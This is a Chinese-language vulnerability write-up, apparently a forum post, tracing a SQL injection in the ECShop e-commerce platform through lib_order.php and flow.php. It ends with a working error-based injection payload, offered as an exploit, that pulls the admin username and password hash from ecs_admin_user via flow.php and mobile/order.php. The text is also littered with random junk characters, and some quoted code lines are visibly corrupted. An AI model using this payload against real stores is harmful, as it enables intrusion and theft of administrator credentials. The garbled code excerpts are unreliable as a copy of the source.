ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
8 h1 K. S7 r  L
& K4 |1 N/ E5 h+ c. _5 w. {    /includes/lib_order.php
0 H4 N& M- ~4 `# b0 ]9 o
- d+ ?: Q/ A- D' c. ?+ I    关键函数：


# O% t' ~+ ^% A5 i
% q3 j( j7 ?, l2 F3 S01     function available_shipping_list($region_id_list)
+ U3 s* H, f3 T/ T' f
( R% q9 J  p' C0 X# w02 {

+ ~# [4 G2 C$ s1 I! O7 u03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 Y( R  j: K! W" m
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
6 B  J% C. b: g) H' A) O4 G
- Z) y, w5 s+ m' }& K% M05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

. {" `6 Y" t' {. Y. W06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
+ y+ y& v0 j* y6 x
( J, _  q" @1 Y3 D08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

& @7 X# Z$ d) I: D9 _7 T11     return $GLOBALS['db']->getAll($sql);
0 o/ c1 {$ H( c2 v2 s4 v  V2 G
! [- f9 N/ @1 S" m12 }
9 i) T7 D* c5 ^' L" z7 Q, O. k
显然对传入的参数没有任何过滤就带入了查询语句。
1 m  i  |( _5 }
4 l- x+ n- B2 f0 T% C下面我们追踪这个函数在flow.php中：
" q6 I+ J" M2 r 第531行：   

* X2 @: I7 @  z% z! @8 L3 m; U  p1 $shipping_list     = available_shipping_list($region);

6 C) Z& f5 h, H* [* O( f% s
3 w5 g9 U, D+ V) E+ h

1 A$ `* K2 f" _& {1 u9 \9 B2 V
) z8 ?' V$ M9 T: R5 P再对传入变量进行追踪：
* F) a  ^( i- N. ?5 P* y
. Y; J4 K. |3 T8 M7 {第530行：   

$ O6 F+ \' o( Q& [3 f/ e1 G1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);





& E6 ~9 i- y9 V! Y第473行：        
# b, u7 r) Y$ f, K1 b+ n  @9 o' G
1 $consignee = get_consignee($_SESSION['user_id']);
9 H2 h$ A9 Y& N* a2 a$ {
到了一个关键函数：
  M2 D$ t. E3 [& |
- R" K* k5 K! t/ [+ H2 ~/includes/lib_order.php
3 e6 l, z7 o) k


" B+ W/ O7 P) j' l% E; |

01 function get_consignee($user_id)

02 {

. b) ?: t$ m$ @  q2 l03     if (isset($_SESSION['flow_consignee']))
, }$ d% H" J0 o1 F6 l% R
: ?$ k8 G, H! ]- r04     {
( L' H- _) R$ S9 g/ T) a
05         /* 如果存在session，则直接返回session中的收货人信息 */
7 `6 a1 G/ l; d
06   

07         return $_SESSION['flow_consignee'];
6 s$ h5 m5 }7 D: w& l- ]
0 k$ P. ?9 N9 L% _0 g- G7 ^08     }
, _  q' q/ ?! j
09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

- s) q" b* ~  K! T! S- z12         $arr = array();
4 O; k. o/ M+ m7 h- i
13   
( K/ Z  P& J: [' U* ^/ p/ Y% N9 G; ]) M
" W- m; O; A! F7 l14         if ($user_id > 0)

+ M8 `8 o% `  g: u15         {
# d6 b/ ~% b" x5 s( U1 D# z0 \3 W
; ~8 P+ }' O, e1 _16             /* 取默认地址 */

" ]+ \1 j+ Q* V( o+ G17             $sql = "SELECT ua.*".
# U# k" u4 Q6 ], M
8 F( _. d' P) R18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( f/ `  y: b5 {& t, @7 T8 w- `
! k. V& N" G7 t3 Z$ x19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

  s& u3 F/ i) y7 y  M20   

3 Q# F! z8 A5 \! b5 o$ d- M8 h; ~* s* i21             $arr = $GLOBALS['db']->getRow($sql);

22         }
8 e4 e6 h7 D0 V! b* }0 G
23   

24         return $arr;
4 z  \4 _9 L1 s7 @
3 D  o% v9 U- V! C% }/ s8 C) u25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

1 t7 W: h9 O0 G1 {- h* q4 u, g. \

. [# y) H) }2 Q' u  B; F4 r9 ^1 W关键点:

$ {6 i1 t/ ]7 K0 f第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

3 c# I) \4 r; ~- ~, f, L2 }这里对传入参数反转义存入$_SESSION中。
' ^6 x7 |# a0 s9 m" |& V

+ @% C, W* g1 C. K
然后看下：
& o" R  h9 x  {; v5 c

1 ?5 Y8 m: w. X4 G
* @, @; I2 ~9 N' w3 Q  u* k   

- L( @) J/ j2 I- g% F- b01 $consignee = array(
% ~$ C" j2 }# H- B( ?+ [
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
9 ?. Q! k  q6 ?4 ]( V% V
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

- H$ U! l( C3 N) L05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* C5 v: ]9 t: D7 [1 k" y
! f/ T1 t  `6 K9 _1 H, D09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
( F' {1 y* p( a+ `3 n' d. C* P) ~
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

& J8 H2 R3 b: a+ d4 S11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
8 m: w3 |& Z2 z# s6 j0 o) A7 O
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
( m3 I! `! W8 A4 [3 G- D
8 F9 P, r- ?' D) o$ R9 e15     );

8 L4 F! _! Z+ t+ w! B5 ?好了注入就这样出现了。
2 c9 C8 ]5 [  ]8 k) d2 p
==================
$ F( t" E- Q8 H# c; V
2 Y, g& o; b# w" p; j注入测试：

9 d7 H8 J5 u" e. L环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, h$ }2 L6 e9 G1 p% Z( E
测试程序：ECShop_V2.7.3_UTF8_release1106
$ ?) d4 R) T5 c% @  g! |% D

, j( m* ?3 L' z/ L! X, _
1.首先需要点击一个商品加入购物车

- J: G" x3 e, h- R2.注册一个会员帐号

3.post提交数据
% V; s6 ]0 G! J& ?
6 I0 h' g: i- Z" i) `9 j

& x8 t, U6 C5 {- I9 p+ e; V1 http://127.0.0.1/ecshop/flow.php

7 o8 X  R/ @- {% e0 x1 d- ^2   

+ c7 \8 d6 f  W8 O) J2 Y4 [3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ d% s2 ^( T9 \! o6 p1 C举一反三，我们根据这个漏洞我们可以继续深入挖掘：

( }9 G4 C% f' ]+ P8 r, I( C我们搜寻关键函数function available_shipping_list()
8 @( M) N- j4 P( w) n5 V% v4 z8 v/ a
# f9 E8 d- J, ~在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

" h8 u: T5 \2 n5 z利用exp:
6 B( o( o# n5 Q3 L) ^& p, p
" n9 c" b/ T6 c1 s; Y; p1.点击一个商品，点击购买商标
# v; z; \5 m, Z
, _: }3 h8 w6 h! n- O2.登录会员帐号

1 n& g3 r5 f% i6 b' O3.post提交：
' F6 I& g* Q1 k& D4 T# M
http://127.0.0.1/ecshop/mobile/order.php



- k% e8 S2 m# U) lcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 Y( z! B: s, a, k: p8 E
6 M5 l; z+ u5 V/ I, r